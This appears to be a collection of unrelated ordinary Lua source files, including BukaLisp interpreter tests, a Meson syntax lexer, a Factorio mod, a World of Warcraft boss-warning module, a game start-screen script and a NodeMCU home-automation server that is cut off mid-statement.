'none)))) ]]) assert_lal('3492', [[ (cond (else (+ 3491 1))) ]]) assert_lal('greater', [[ (cond ((> 3 2) 'greater) ((< 3 2) 'less)) ]]) assert_lal('less', [[ (cond ((> 2 3) 'greater) ((< 2 3) 'less)) ]]) assert_lal('nil', [[ (cond ((> 3 3) 'greater)) ]]) assert_lal('#true', [[ (cond ((eqv? 3 3))) ]]) assert_lal('333', [[ (cond ((eqv? 3 3) => (lambda (x) 333))) ]]) assert_lal('333', [[ (let ((x (cond ((eqv? 3 3) => (lambda (x) 333))))) (+ x 1) x) ]]) assert_lal('623', [[ (cond ((return 623))) ]]) assert_lal('73', [[ (let ((x 10)) (cond ((not (set! x (+ x 1)) 20)) ((return (+ 62 x))))) ]]) assert_lal('73', [[ (let ((x 10)) (cond ((not (set! x (+ x 1)) 20)) ((return (+ 62 x))) (else 32))) ]]) assert_lal('444', [[ (let ((x 10)) (cond ((not (set! x (+ x 1)) 20)) (23 => (return 444)) ((return 623)))) ]]) assert_lal('623', [[ (+ 1 (cond ((return 623)))) ]]) assert_lal('73', [[ (+ 1 (let ((x 10)) (cond ((not (set! x (+ x 1)) 20)) ((return (+ 62 x)))))) ]]) assert_lal('73', [[ (+ 1 (let ((x 10)) (cond ((not (set! x (+ x 1)) 20)) ((return (+ 62 x))) (else 32)))) ]]) assert_lal('444', [[ (+ 1 (let ((x 10)) (cond ((not (set! x (+ x 1)) 20)) (23 => (return 444)) ((return 623))))) ]]) -- TODO: Test returning tests! end function oT:testApply() assert_lal('6', [[(apply + 1 2 3 [])]]) assert_lal('6', [[(apply + 1 2 3 (list))]]) assert_lal('-1', [[(apply - 0 (list 1))]]) assert_lal('-1', [[(apply - (list 0 1))]]) assert_lal('"X,Y"', [[(apply str-join "," (list X: Y:))]]) end function oT:testAltStringQuote() assert_lal('"foobar"', [[#q'foobar']]) assert_lal('"X\\"X"', [[#q'X"X']]) assert_lal('"X\'\\"X"', [[#q'X''"X']]) assert_lal('"X\\\\\\"X"', [[#q'X\"X']]) assert_lal('"X\\nX"', [[#q'X X']]) end -- TODO --function oT:testMacroUsesFunction() -- assert_lal('120', [[ -- (begin -- (define (x a b) [+ a b]) -- (define-macro (l m a) (x m 10)) -- (l 2 4)) -- ]]) -- --end -- -- TODO: add test for (str ....) -- -- TODO: make most of the following tests work: -- assert_lal('; BukaLisp Exception at Line -1: First symbol '$:abc' of (abc 1 2 3) not found in env!', [[(abc 1 2 3)]]) -- assert_lal('; BukaLisp Exception at Line -1: Symbol '$:undefvar' not found in env!', [[undefvar]]) -- assert_lal('; "B" nil 10 -- ; "A" -- ; "OOO" (#<prim:+> 2 3) 5 -- ;=>nil', lal_eval [[(begin (prn "A") (when-compile :eval (define y 10)) (let* (x 20) (begin (when-compile :eval (begin (define o (list + 2 3)) (prn "B" x y))) (define k (when-compile :eval-compile o)) (prn "OOO" o k))))]]) -- assert_lal('("1" "2" "3" "4")', [[(begin (map str '(1 2 3 4)))]]) -- assert_lal('("1" "2" "3" "4")', [[(begin (map str [1 2 3 4]))]]) -- assert_lal('(":l1")', [[(begin (map str '{:l 1}))]]) -- assert_lal('"x"', [[(begin (map str 'x))]]) -- assert_lal('(2 4 6 8)', [[(begin (map (lambda* (x) (* 2 x)) '(1 2 3 4)))]]) -- assert_lal('(2 4 6 8)', [[(begin (map (lambda* (x) (* 2 x)) [1 2 3 4]))]]) -- assert_lal('(2)', [[(begin (map (lambda* (k x) (* 2 x)) '{:l 1}))]]) -- assert_lal('20', [[(begin (map (lambda* (x) (* 2 x)) 10))]]) -- assert_lal('; 203 -- ; 424 -- ;=>30', lal_eval [[(let* (x 10 y 20) (prn (* 20.3 x)) (prn (* 21.2 y)) (+ x y))]]) -- assert_lal('; A -- ; B -- ;=>10', lal_eval [[(begin (prn 'A) (prn 'B) 10)]]) -- assert_lal('; 21 22 -- ;=>53', lal_eval [[(begin (define x (lambda* (x y) (prn x y) (+ x y 10))) (x 21 22))]]) -- assert_lal('; A -- ; B -- ; X -- ; Y -- ;=>21', lal_eval [[(begin (prn 'X) (let* (l (when-compile :eval (prn 'A) (prn 'B) 21)) (prn 'Y) l))]]) -- assert_lal('2', [[(at '(1 2 3) 1)]]) -- assert_lal(':foo', [[(at {:a 43 :x :foo :b "bar"} :x)]]) -- assert_lal('foo', [[(at ['foo 'bar 'x] 0)]]) -- assert_lal('(1 2 4)', [[(begin (define x '(1 2 3)) (set-at! x 2 4) x)]]) -- assert_lal('[1 2 (1 2 3)]', [[(begin (define x [1 2 3]) (set-at! x 2 '(1 2 3)) x)]]) -- assert_lal('(f :f)', [[(begin (define x { }) (set-at! x 'f :f) (set-at! x :f 'f) (list (at x :f) (at x 'f)))]]) -- assert_lal('; BukaLisp Exception at Line -1: Can't set undefined variable '$:XXX'', [[(let (y 12) (set! XXX 20) XXX)]]) -- assert_lal('13', [[(let (y 12) (set! y 13) y)]]) -- assert_lal('10', [[(begin (define X (lambda () (return 10) 20)) (define Y (lambda () (define Y (X)) (return Y) 32)) (Y))]]) -- assert_lal('; A 20 -- ; B 11 -- ;=>30', lal_eval [[(begin -- (define X (lambda (a) -- (if (> a 10) -- (+ 400 (begin -- (println "A" a) -- (+ 10 (return 20)) -- (println "NOREACH"))) -- (begin -- (println "B" (+ a 10)) -- (return 30))))) -- (X 20) -- (X 1))]]) -- assert_lal('420', [[(let (f 40) (try (let (f 3) (+ (throw 10) 3 f)) (catch x (* x (i+ 2 f)))))]]) -- assert_lal('; "A" -- ; Got: :C -- ;=>133', lal_eval [[(begin (define X (lambda () (prn "A") (throw :C) (prn "B"))) (let (o 33) (+ o (try (X) (catch L (println "Got:" L) 100)))))]]) -- assert_lal('; "FOOBAR" -- ; "FINALLY!" 100 -- ; your-mom "was thrown" 200 -- ;=>your-mom', lal_eval [[(let (fooo 200) -- (try -- (let (fooo 100) -- (with-final -- (begin -- (prn "FOOBAR") -- (throw 'your-mom) -- (prn "FOOBAR2")) -- (prn "FINALLY!" fooo))) -- (catch x (prn x "was thrown" fooo) x)))]]) -- assert_lal('; "FOOBAR" -- ; "FOOBAR2" -- ; "FINALLY!" 100 -- ;=>nil', lal_eval [[(let (fooo 200) -- (try -- (let (fooo 100) -- (with-final -- (begin -- (prn "FOOBAR") -- (prn "FOOBAR2")) -- (prn "FINALLY!" fooo))) -- (catch x (prn x "was thrown" fooo) x)))]]) -- assert_lal('; "FINAL-X-THROW" -- ; "FINAL-TRY" -- ; "caught" 10 -- ;=>10', lal_eval [[(begin -- (define Y (lambda (a) (throw a))) -- (define X (lambda () (with-final (Y 10) (try (throw :l) (catch l (prn "FINAL-X-THROW")))))) -- (try -- (with-final (X) (prn "FINAL-TRY")) -- (catch y (prn "caught" y) y)) -- )]]) -- assert_lal('; "FIN" -- ; "caught" 1 -- ;=>1', lal_eval [[(begin -- (try -- (with-final (map throw (list 1 2)) (prn "FIN")) -- (catch y -- (prn "caught" y) -- y)) -- )]]) -- assert_lal('; "FIN" -- ; "INNER" -- ;=>2', lal_eval [[(try (with-final (throw :x) (begin (prn "FIN") (with-final (throw 2) (prn "INNER")))) -- (catch y y))]]) -- assert_lal('; "A" -- ; "B" -- ; "C" -- ;=>:y', lal_eval [[(begin -- (with-final (begin (prn "A") (return :x) (prn "0")) -- (prn "B") (with-final (return :y) (prn "C"))) (prn "D"))]]) -- assert_lal('; "A" -- ; "B" -- ;=>:bla', lal_eval [[(begin (try -- (with-final (begin (prn "A") (return :x) (prn "0")) -- (prn "B") -- (with-final (return :y) -- (throw :bla) -- (prn "C"))) -- (catch l l)))]]) -- assert_lal('; 0 -- ; 1 -- ; 2 -- ; 3 -- ; 4 -- ; 5 -- ; 6 -- ; 7 -- ; 8 -- ; 9 -- ;=>90', lal_eval [[(loop for (i 0 (< i 10) (i+ i 1)) -- (prn i) -- (* i 10))]]) -- assert_lal('; :A -- ; :B -- ; :1-X -- ;=>50', lal_eval [[(block 'x -- (prn :A) -- (block 'y -- 4 -- (return-from 'y 30) -- (prn :D)) -- (prn :B) -- (block 'y -- (prn :1-X) -- (return-from 'x 50) -- (prn :2-X)) -- (prn :C))]]) -- assert_lal('; :A -- ;=>:GOGO', lal_eval [[(begin -- (define X (lambda () (prn :A) (return-from 'GOGO :GOGO) (prn :B))) -- (X))]]) -- assert_lal('; :A-X -- ; :GOGO -- ;=>nil', lal_eval [[(begin -- (define X (lambda () (prn :A-X) (return-from 'GOGO :GOGO))) -- (define L (lambda (f) (block 'GOGO (f)))) -- (prn (L X)))]]) -- assert_lal('; :X -- ;=>:A', lal_eval [[(block 'A ((lambda () (prn :X) (return :A))))]]) -- assert_lal('; :A-X -- ; :A-Y -- ; :GOGO 30 -- ;=>nil', lal_eval [[(begin -- (define X (lambda () (prn :A-X) (return-from 'GOGO :GOGO))) -- (define L (lambda (f) (block 'GOGO (f)))) -- (define Y (lambda () (prn :A-Y) (return 30))) -- (println (L X) (L Y)))]]) -- assert_lal('; :ef -- ;=>nil', lal_eval [[(begin -- (define X (lambda () (return-from 'GOGO :ef))) -- (define L (lambda () (block 'GOGO (X)))) -- (println (L)))]]) -- assert_lal('100', [[(begin -- (ns $O [$] ($:when-compile :eval ($:define $:define $:define)) (define L 100)) -- (ns $X [$ $O:] (define OOO L)) -- $X:OOO)]]) -- assert_lal('; 10 -- ; 20 -- ; 30 -- ;=>nil', lal_eval [[(begin -- (ns pman [$:] -- (define x 10) -- (define print (lambda (y) (println y))) -- (ns XXX [] (define O print))) -- ($:pman:print 10) -- (ns pman [] -- (print 20)) -- ($:pman:XXX:O 30))]]) -- assert_lal('[:A :X :E :B]', [[(begin -- (ns $foo [$:define] -- (define a :A) -- (define b :B) -- (define c :C) -- (define d :D)) -- (ns $bar [$:define] (define e :E) (define b :X)) -- (ns user [$foo:a $bar:] -- [a b e $foo:b]))]]) -- assert_lal('10', [[(begin (ns $ [] ($:define FO 10)) FO)]]) -- assert_lal('[20 10 20]', [[(begin -- (define $foox:X 10) -- [(ns $foox [] ($:define Y X) ($:set! X 20)) $foox:Y X])]]) -- assert_lal('33', [[(begin -- (ns fooER [] ($:define X 20)) -- (set! $:fooER:X 33) -- (ns fooER [] X))]]) -- assert_lal('(quasiquote 1)', [['`1]]) -- assert_lal('(quasiquote (1 2 3))', [['`(1 2 3)]]) -- assert_lal('(unquote 1)', [[',1]]) -- assert_lal('(splice-unquote (1 2 3))', [[',@(1 2 3)]]) -- assert_lal('; BukaLisp Exception at Line 1: Expected ')', got: T_EOF@1', [[(1 2]]) -- assert_lal('; BukaLisp Exception at Line 1: Expected ']', got: T_EOF@1', [[[1 2]]) -- assert_lal('; BukaLisp Exception at Line 1: Expected '"', got: T_EOF@1', [["abc]]) -- assert_lal('(with-meta [1 2 3] {"a" 1})', [['^{"a" 1} [1 2 3] ;; Comment test]]) -- assert_lal('(deref a)', [['@a ; comment test]]) ----------------------------------------------------------------------------- -- WITH ERROR CHECKING: --oT:run { 'testFn' } --oT:run { 'testCompileErrors' } --oT:run { 'testOpsAsFn' } --oT:run { 'testOpErrors' } --oT:run { 'testLength' } --oT:run { 'testMap' } --oT:run { 'testInclude' } --oT:run { 'testComments' } --oT:run { 'testString' } --oT:run { 'testMultiLineString' } --oT:run { 'testStr' } --oT:run { 'testMacro' } --oT:run { 'testAndOr' } --oT:run { 'testMagicSquares' } --oT:run { 'testMacroManip' } --oT:run { 'testRuntimeError' } --oT:run { 'testOverFldAcc' } --oT:run { 'testParser' } --oT:run { 'testCond' } --oT:run { 'testEquality' } --oT:run { 'testEqual' } --oT:run { 'testSymbol' } --oT:run { 'testNumeric' } --oT:run { 'testListOps' } --oT:run { 'testNilSentinel' } --oT:run { 'testDisplay' } --oT:run { 'testExceptions' } --oT:run { 'testDefBuiltin' } --oT:run { 'testCyclicStructs' } --oT:run { 'testImport' } -- WITHOUT ERROR CHECKING: --oT:run { 'testSideeffectIgnore' } --oT:run { 'testDo' } --oT:run { 'testBool' } --oT:run { 'testLet' } --oT:run { 'testReturn' } --oT:run { 'testReturnAnyWhere' } --oT:run { 'testLetWOBody' } --oT:run { 'testLetEmpty' } --oT:run { 'testReturnInLetBody' } --oT:run { 'testReturnFromFn' } --oT:run { 'testIf' } --oT:run { 'testIfOneBranchFalse' } --oT:run { 'testIfReturn' } --oT:run { 'testIfFalseReturn' } --oT:run { 'testLuaTOC' } --oT:run { 'testLuaTOCWithLetS' } --oT:run { 'testQuotedList' } --oT:run { 'testSimpleArith' } --oT:run { 'testIfBool' } --oT:run { 'testBasicData' } --oT:run { 'testDef' } --oT:run { 'testLet2' } --oT:run { 'testLetList' } --oT:run { 'testKeyword' } --oT:run { 'testQuote' } --oT:run { 'testUnusedRetValsAndBuiltins' } --oT:run { 'testPredicates1' } --oT:run { 'testPrStrRdStr' } --oT:run { 'testEval' } --oT:run { 'testEQ' } --oT:run { 'testFunctionDef' } --oT:run { 'testTailIf' } --oT:run { 'testConsConcat' } --oT:run { 'testDefGlobal' } --oT:run { 'testDotSyntax' } --oT:run { 'testSideeffectIgnore' } --oT:run { 'testValueEvaluation' } --oT:run { 'testQuasiquote' } --oT:run { 'testAt' } --oT:run { 'testDefineFun' } --oT:run { 'testWhenUnlessNot' } --oT:run { 'testFor' } --oT:run { 'testDoEach' } --oT:run { 'testPredicates2' } --oT:run { 'testDoLoop' } --oT:run { 'testCompToLua' } --oT:run { 'testBlock' } --oT:run { 'testWriteReadCyclic' } --oT:run { 'testDefineSyntax' } --oT:run { 'testApply' } --oT:run { 'testForEach' } --oT:run { 'testAltStringQuote' } -- TODO oT:run { 'testMacroUsesFunction' } oT:run()
ngx.say("hellow world")
---@meta --- **syntax:** *exdata = th_exdata(data?)* --- --- This API allows for embedding user data into a thread (`lua_State`). --- --- The retrieved `exdata` value on the Lua land is represented as a cdata object --- of the ctype `void*`. --- --- As of this version, retrieving the `exdata` (i.e. `th_exdata()` without any --- argument) can be JIT compiled. --- --- Usage: --- --- ```lua --- local th_exdata = require "thread.exdata" --- --- th_exdata(0xdeadbeefLL) -- set the exdata of the current Lua thread --- local exdata = th_exdata() -- fetch the exdata of the current Lua thread --- ``` --- --- Also available are the following public C API functions for manipulating --- `exdata` on the C land: --- --- ```C --- void lua_setexdata(lua_State *L, void *exdata); --- void *lua_getexdata(lua_State *L); --- ``` --- --- The `exdata` pointer is initialized to `NULL` when the main thread is created. --- Any child Lua thread will inherit its parent's `exdata`, but still can override --- it. --- --- **Note:** This API will not be available if LuaJIT is compiled with --- `-DLUAJIT_DISABLE_FFI`. --- --- **Note bis:** This API is used internally by the OpenResty core, and it is --- strongly discouraged to use it yourself in the context of OpenResty. ---@param data? any ---@return any? data local function exdata(data) end return exdata
-- Copyright 2020-2021 Florian Fischer. See LICENSE. -- Meson file LPeg lexer. local lexer = require('lexer') local token, word_match = lexer.token, lexer.word_match local P, R, S = lpeg.P, lpeg.R, lpeg.S local lex = lexer.new('meson', {fold_by_indentation = true}) -- Whitespace. lex:add_rule('whitespace', token(lexer.WHITESPACE, lexer.space^1)) -- Keywords. lex:add_rule('keyword', token(lexer.KEYWORD, word_match[[ and or not if elif else endif foreach break continue endforeach ]])) -- Methods. -- https://mesonbuild.com/Reference-manual.html#builtin-objects -- https://mesonbuild.com/Reference-manual.html#returned-objects local method_names = word_match[[ -- array -- contains get length -- boolean -- to_int to_string -- dictionary -- has_key get keys -- disabler -- found -- integer -- is_even is_odd -- string -- contains endswith format join split startswith substring strip to_int to_lower to_upper underscorify version_compare -- meson object -- add_dist_script add_install_script add_postconf_script backend build_root source_root project_build_root project_source_root current_build_dir current_source_dir get_compiler get_cross_property get_external_property can_run_host_binaries has_exe_wrapper install_dependency_manifest is_cross_build is_subproject is_unity override_find_program override_dependency project_version project_license project_name version -- *_machine object -- cpu_family cpu system endian -- compiler object -- alignment cmd_array compiles compute_int find_library first_supported_argument first_supported_link_argument get_define get_id get_argument_syntax get_linker_id get_supported_arguments get_supported_link_arguments has_argument has_link_argument has_function check_header has_header has_header_symbol has_member has_members has_multi_arguments has_multi_link_arguments has_type links run symbols_have_underscore_prefix sizeof version has_function_attribute get_supported_function_attributes -- build target object -- extract_all_objects extract_objects full_path private_dir_include name -- configuration data object -- get get_unquoted has keys merge_from set set10 set_quoted -- custom target object -- full_path to_list -- dependency object -- found name get_pkgconfig_variable get_configtool_variable type_name version include_type as_system as_link_whole partial_dependency found -- external program object -- found path full_path -- environment object -- append prepend set -- external library object -- found type_name partial_dependency enabled disabled auto -- generator object -- process -- subproject object -- found get_variable -- run result object -- compiled returncode stderr stdout ]] -- A method call must be followed by an opening parenthesis. lex:add_rule('method', token('method', method_names * #(lexer.space^0 * '('))) lex:add_style('method', lexer.styles['function']) -- Function. -- https://mesonbuild.com/Reference-manual.html#functions local func_names = word_match[[ add_global_arguments add_global_link_arguments add_languages add_project_arguments add_project_link_arguments add_test_setup alias_targ assert benchmark both_libraries build_target configuration_data configure_file custom_target declare_dependency dependency disabler error environment executable find_library find_program files generator get_option get_variable import include_directories install_data install_headers install_man install_subdir is_disabler is_variable jar join_paths library message warning summary project run_command run_targ set_variable shared_library shared_module static_library subdir subdir_done subproject test vcs_tag ]] -- A function call must be followed by an opening parenthesis. -- The matching of function calls instead of just their names is needed to not -- falsely highlight function names which can also be keyword arguments. -- For example 'include_directories' can be a function call itself or a keyword -- argument of an 'executable' or 'library' function call. lex:add_rule('function', token(lexer.FUNCTION, func_names * #(lexer.space^0 * '('))) -- Builtin objects. -- https://mesonbuild.com/Reference-manual.html#builtin-objects lex:add_rule('object', token('object', word_match[[ meson build_machine host_machine target_machine ]])) lex:add_style('object', lexer.styles.type) -- Constants. lex:add_rule('constant', token(lexer.CONSTANT, word_match('false true'))) -- Identifiers. lex:add_rule('identifier', token(lexer.IDENTIFIER, lexer.word)) -- Strings. local str = lexer.range("'", true) local multiline_str = lexer.range("'''") lex:add_rule('string', token(lexer.STRING, multiline_str + str)) -- Comments. lex:add_rule('comment', token(lexer.COMMENT, lexer.to_eol('#', true))) -- Numbers. local dec = R('19')^1 * R('09')^0 local bin = '0b' * S('01')^1 local oct = '0o' * R('07')^1 local integer = S('+-')^-1 * (bin + lexer.hex_num + oct + dec) lex:add_rule('number', token(lexer.NUMBER, integer)) -- Operators. lex:add_rule('operator', token(lexer.OPERATOR, S('()[]{}-=+/%:.,?<>'))) return lex
-- No resource placement for k,v in pairs(data.raw.resource) do v.autoplace = nil end -- No spawners for k,v in pairs(data.raw["unit-spawner"]) do v.autoplace = nil v.control = nil end -- No trees for k,v in pairs(data.raw.tree) do if k ~= 'temperate-garden' and k ~= 'desert-garden' and k ~= 'swamp-garden' and k ~= 'temperate-tree' and k ~= 'desert-tree' and k ~= 'swamp-tree' and k ~= 'puffer-nest' then v.autoplace = nil end end -- No rocks for k,v in pairs(data.raw["simple-entity"]) do v.autoplace = nil end local keepcontrols = {} for _,v in pairs(data.raw) do for _,v2 in pairs(v) do if v2.autoplace and v2.autoplace.control then keepcontrols[v2.autoplace.control] = true end end end local controls = data.raw['autoplace-control'] for k,v in pairs(controls) do if k ~= "enemy-base" and not keepcontrols[k] then controls[k] = nil end end local presets = data.raw['map-gen-presets']['default'] for k,v in pairs(presets) do -- Check for order as this is a manditory property for a MapGenPreset (so we skip type and name) if k ~= 'default' and k ~= 'marathon' and v.order then data.raw['map-gen-presets']['default'][k] = nil end end
-- package.path = "../?.lua;" .. package.path require 'busted.runner'() require 'init' -- describe('Number Functions', function() describe('_:clamp(num, min, max)', function() it('should clamp `num` so it fits between `min` and `max` values', function() assert.are.equals(_:clamp(-5, -1, 2), -1) assert.are.equals(_:clamp(0, -1, 2), 0) assert.are.equals(_:clamp(3, -1, 2), 2) end) end) describe('_:down(name, n)', function() it('should create new incrementor then decrement by `n`', function() assert.has.errors(function() _:down('hp', 100) end) assert.are.equals(_:i('hp', 100), 100) assert.are.equals(_:i('mp', 100), 100) assert.are.equals(_:down('hp', 10), 90) assert.are.equals(_:down('hp', 25), 65) assert.are.equals(_:down('hp', 85), -20) assert.are.equals(_:down('mp', 50), 50) assert.are.equals(_:down('hp', 10), -30) end) end) describe('_:lerp(num, min, max)', function() it('should linear interpolate `num` between `min` and `max` values', function() assert.are.equals(_:lerp(0.3, 10, 20), 13) assert.are.equals(_:lerp(0.75, 0, 100), 75) end) end) describe('_:mapTo(num, minSource, maxSource, minDest, maxDest)', function() it('should map `num` using one range `minSource/maxSource` to another range `minDest/maxDest`', function() assert.are.equals(_:mapTo(0.5, 1, 2, 10, 20), 5) assert.are.equals(_:mapTo(9, 0, 1, 0, 25), 225) end) end) describe('_:norm(num, [min=0], [max=1])', function() it('should linear interpolate `num` between `min` and `max` values', function() assert.are.equals(_:norm(5, 0, 10), 0.5) assert.are.equals(_:norm(5, 4, 8), 0.25) assert.are.equals(_:norm(9, 4, 8), 1.25) end) end) describe('_:up(name, n)', function() it('should create new incrementor then increment by `n`', function() assert.has.errors(function() _:up('sp', 0) end) assert.are.equals(_:i('sp', 25), 25) assert.are.equals(_:i('dp', 0), 0) assert.are.equals(_:up('sp', 10), 35) assert.are.equals(_:up('sp', 25), 60) assert.are.equals(_:up('dp', 35), 35) end) end) end)
local pathlib = require("thetto.lib.path") local util = require("notomo.plugin.thetto.util") local M = {} function M.collect(self, opts) local to_relative = pathlib.relative_modifier(opts.cwd) local path = self.opts.path local relative_path = to_relative(path) local items = {} for _, call in pairs(self.opts.result or {}) do local call_hierarchy = call["to"] for _, range in pairs(call.fromRanges) do local row = range.start.line + 1 local value = call_hierarchy.name local path_with_row = ("%s:%d"):format(relative_path, row) table.insert(items, { path = path, desc = ("%s %s()"):format(path_with_row, value), value = value, row = row, range = util.range(range), column_offsets = { value = #path_with_row + 1 }, }) end end return items end function M.highlight(self, bufnr, first_line, items) local highlighter = self.highlights:create(bufnr) for i, item in ipairs(items) do highlighter:add("Comment", first_line + i - 1, 0, item.column_offsets.value) end end M.kind_name = "file" M.sorters = { "row" } return M
local mod = DBM:NewMod("d287", "DBM-WorldEvents", 1) local L = mod:GetLocalizedStrings() mod:SetRevision("20190416205700") mod:SetCreatureID(23872) mod:SetModelID(21824) mod:SetReCombatTime(10) mod:SetZone() mod:RegisterCombat("combat") mod:RegisterEventsInCombat( "SPELL_CAST_START 47310", "SPELL_AURA_APPLIED 47376 47340 47442 51413", "SPELL_AURA_REMOVED 47376 47340 47442 51413" ) local warnDisarm = mod:NewCastAnnounce(47310, 2, nil, nil, "Melee") local warnBarrel = mod:NewTargetAnnounce(51413, 4) local specWarnBrew = mod:NewSpecialWarning("specWarnBrew", nil, nil, nil, 1, 7) local specWarnBrewStun = mod:NewSpecialWarning("specWarnBrewStun") local yellBarrel = mod:NewYell(47442, L.YellBarrel, "Tank") local timerBarrel = mod:NewTargetTimer(8, 51413, nil, nil, nil, 3) local timerBrew = mod:NewTargetTimer(10, 47376, nil, false, nil, 3) local timerBrewStun = mod:NewTargetTimer(6, 47340, nil, false, nil, 3) local timerDisarm = mod:NewCastTimer(4, 47310, nil, "Melee", 2, 2) function mod:SPELL_CAST_START(args) if args.spellId == 47310 then warnDisarm:Show() timerDisarm:Start() end end function mod:SPELL_AURA_APPLIED(args) local spellId = args.spellId if spellId == 47376 then -- Brew timerBrew:Start(args.destName) if args:IsPlayer() then specWarnBrew:Show() specWarnBrew:Play("useitem") end elseif spellId == 47340 then -- Brew Stun timerBrewStun:Start(args.destName) if args:IsPlayer() then specWarnBrewStun:Show() end elseif args:IsSpellID(47442, 51413) then -- Barreled! warnBarrel:Show(args.destName) timerBarrel:Start(args.destName) if args:IsPlayer() then yellBarrel:Yell() end end end function mod:SPELL_AURA_REMOVED(args) if args.spellId == 47376 then -- Brew timerBrew:Cancel(args.destName) elseif args.spellId == 47340 then -- Brew Stun timerBrewStun:Cancel(args.destName) elseif args:IsSpellID(47442, 51413) then -- Barreled! timerBarrel:Cancel(args.destName) end end
local uistartscreen = { Properties = { SkipStartScreen = { default = false }, StartScreenMusic = { default = "StartScreenMusicEvent", description = "Event to start start sceen music" }, EnableControlsEvent = { default = "EnableControlsEvent", description = "The event used to enable/disable the player controls." }, CutsceneEndedEvent = { default = "CutsceneHasStopped", description = "The event used to catch the end of the cutscene." }, PlayCutsceneEvent = { default = "StartCutscene", description = "The event used to start the cutscene." }, PressStartSndEvent = "", }, } function uistartscreen:OnActivate() -- IMPORTANT: The 'canvas ID' is different to 'self.entityId'. self.canvasEntityId = UiCanvasManagerBus.Broadcast.LoadCanvas("UI/Canvases/uiStartScreen.uicanvas"); --Debug.Log("uistartscreen:OnActivate - " .. tostring(self.canvasEntityId)); -- Listen for action strings broadcast by the canvas. --self.uiCanvasNotificationLuaBusHandler = UiCanvasNotificationLuaBus.Connect(self, self.canvasEntityId); self.anyButtonEventId = GameplayNotificationId(self.entityId, "AnyKey", "float"); self.anyButtonHandler = GameplayNotificationBus.Connect(self, self.anyButtonEventId); self.endScreenEventId = GameplayNotificationId(self.entityId, self.Properties.CutsceneEndedEvent, "float"); self.endScreenHandler = GameplayNotificationBus.Connect(self, self.endScreenEventId); -- Display the mouse cursor. LyShineLua.ShowMouseCursor(true); self.tickHandler = TickBus.Connect(self); self.ignoredFirst = false; self.gameStarted = false; self.cutsceneStarted = false; end function uistartscreen:OnDeactivate() --self.uiCanvasNotificationLuaBusHandler:Disconnect(); --self.uiCanvasNotificationLuaBusHandler = nil; if (self.anyButtonHandler) then self.anyButtonHandler:Disconnect(); self.anyButtonHandler = nil; end if (self.endScreenHandler) then self.endScreenHandler:Disconnect(); self.endScreenHandler = nil; end end function uistartscreen:OnTick(deltaTime, timePoint) -- The camera manager uses the 'OnTick()' call to set the initial camera (so all cameras -- can be set up in the 'OnActivate()' call. This means that we need to ignore the first -- tick otherwise we'll be competing with the camera manager. if (self.ignoredFirst == false) then self.ignoredFirst = true; return; end --Debug.Log("GameStarted: " .. tostring(StarterGameUtility.IsGameStarted())); if((not self.gameStarted) and StarterGameUtility.IsGameStarted()) then self.gameStarted = true; -- fade from black end if (self.tickHandler ~= nil) then -- Disable the player controls so that they can be re-enabled once the player has started. --Debug.Log("uistartscreen:OnTick - disable controls"); self:SetControls("PlayerCharacter", self.Properties.EnableControlsEvent, 0); self:SetControls("PlayerCamera", self.Properties.EnableControlsEvent, 0); -- Disable the tick bus because we don't care about updating anymore. self.tickHandler:Disconnect(); self.tickHandler = nil; end AudioTriggerComponentRequestBus.Event.ExecuteTrigger(self.entityId, self.Properties.StartScreenMusic); -- Check if we should skip the start screen. if (self.Properties.SkipStartScreen == true) then --Debug.Log("skipping start screen"); UiCanvasManagerBus.Broadcast.UnloadCanvas(self.canvasEntityId); self:OnAction(self.entityId, "StartGame"); self.cutsceneStarted = true; end end function uistartscreen:SetControls(tag, event, enabled) local entity = TagGlobalRequestBus.Event.RequestTaggedEntities(Crc32(tag)); local controlsEventId = GameplayNotificationId(entity, event, "float"); GameplayNotificationBus.Event.OnEventBegin(controlsEventId, enabled); -- 0.0 to disable end function uistartscreen:OnAction(entityId, actionName) if (actionName == "StartGame") then --Debug.Log("Starting the game..."); -- Jump to the player camera. -- TODO: Expose the destination camera as a property? local camMan = TagGlobalRequestBus.Event.RequestTaggedEntities(Crc32("CameraManager")); local playerCam = TagGlobalRequestBus.Event.RequestTaggedEntities(Crc32("PlayerCamera")); local camEventId = GameplayNotificationId(camMan, "ActivateCameraEvent", "float"); GameplayNotificationBus.Event.OnEventBegin(camEventId, playerCam); -- Enable the player controls. self:SetControls("PlayerCharacter", self.Properties.EnableControlsEvent, 1); self:SetControls("PlayerCamera", self.Properties.EnableControlsEvent, 1); if (self.tickHandler ~= nil) then self.tickHandler:Disconnect(); self.tickHandler = nil; end end end function uistartscreen:OnEventBegin(value) --Debug.Log("Recieved message - uistartscreen"); if (GameplayNotificationBus.GetCurrentBusId() == self.anyButtonEventId) then if(self.cutsceneStarted == false) then local cutsceneEventId = GameplayNotificationId(self.entityId, self.Properties.PlayCutsceneEvent, "float"); GameplayNotificationBus.Event.OnEventBegin(cutsceneEventId, 1); self.cutsceneStarted = true; -- Hide the mouse cursor. LyShineLua.ShowMouseCursor(false); self.anyButtonHandler:Disconnect(); self.anyButtonHandler = nil; -- Audio AudioTriggerComponentRequestBus.Event.ExecuteTrigger(self.entityId, self.Properties.PressStartSndEvent); -- Remove the U.I. --Debug.Log("uistartscreen:OnAction - remove screen " .. tostring(self.canvasEntityId)); UiCanvasManagerBus.Broadcast.UnloadCanvas(self.canvasEntityId); end end if (GameplayNotificationBus.GetCurrentBusId() == self.endScreenEventId) then self:OnAction(self.entityId, "StartGame"); end end return uistartscreen;
--[[Check https://github.com/mtsmtsmts/Iot-home-controlfanlight]]-- thermo_Server = net.createServer(net.TCP) --Create TCP server if thermo_Server then thermo_Server:listen(8099, function(conn) --Listen to the port dataParse(conn) end) end function dataParse(conn) --Process callback on receive data from client local substr local cmdStr local cmd, equip local cmdString = {"webrequest","ceilingfan","counterlight","restart"} --array of equipment id words sent within HTTP GET call conn:on("receive", function(sck8099, data) print("DATA",data) if data ~=nil then parseData, dataStr = findData(data) --parse data sent cmd, equip = findCommand(parseData, cmdString)--find command and equipment id if dataStr ~=nil and dataStr ~= " " and equip ~=nil then --if data did not contained a matching equipment id if string.find(dataStr,'favicon.ico') then --Acting as filter --print("This is the favicon return! don't use it "..substr) else print("dataStr",dataStr) if string.find(dataStr,cmdString[1]) then --webrequest:%20counter%20light%20on if string.find(equip,cmdString[2]) then --'ceilingfan' if cmd~=nil then CeilingFan(cmd) --on end elseif string.find(equip, cmdString[3]) then --'counterlight' if cmd~=nil then CounterLight(cmd) --on local UserSetTime = rtctime.epoch2cal(rtctime.get())--global for state of manual operation local hour=UserSetTime["hour"] if hour<8 then hour=hour+16 else hour=hour-8 end --correct for UTC-8 for pst UserSetTime = 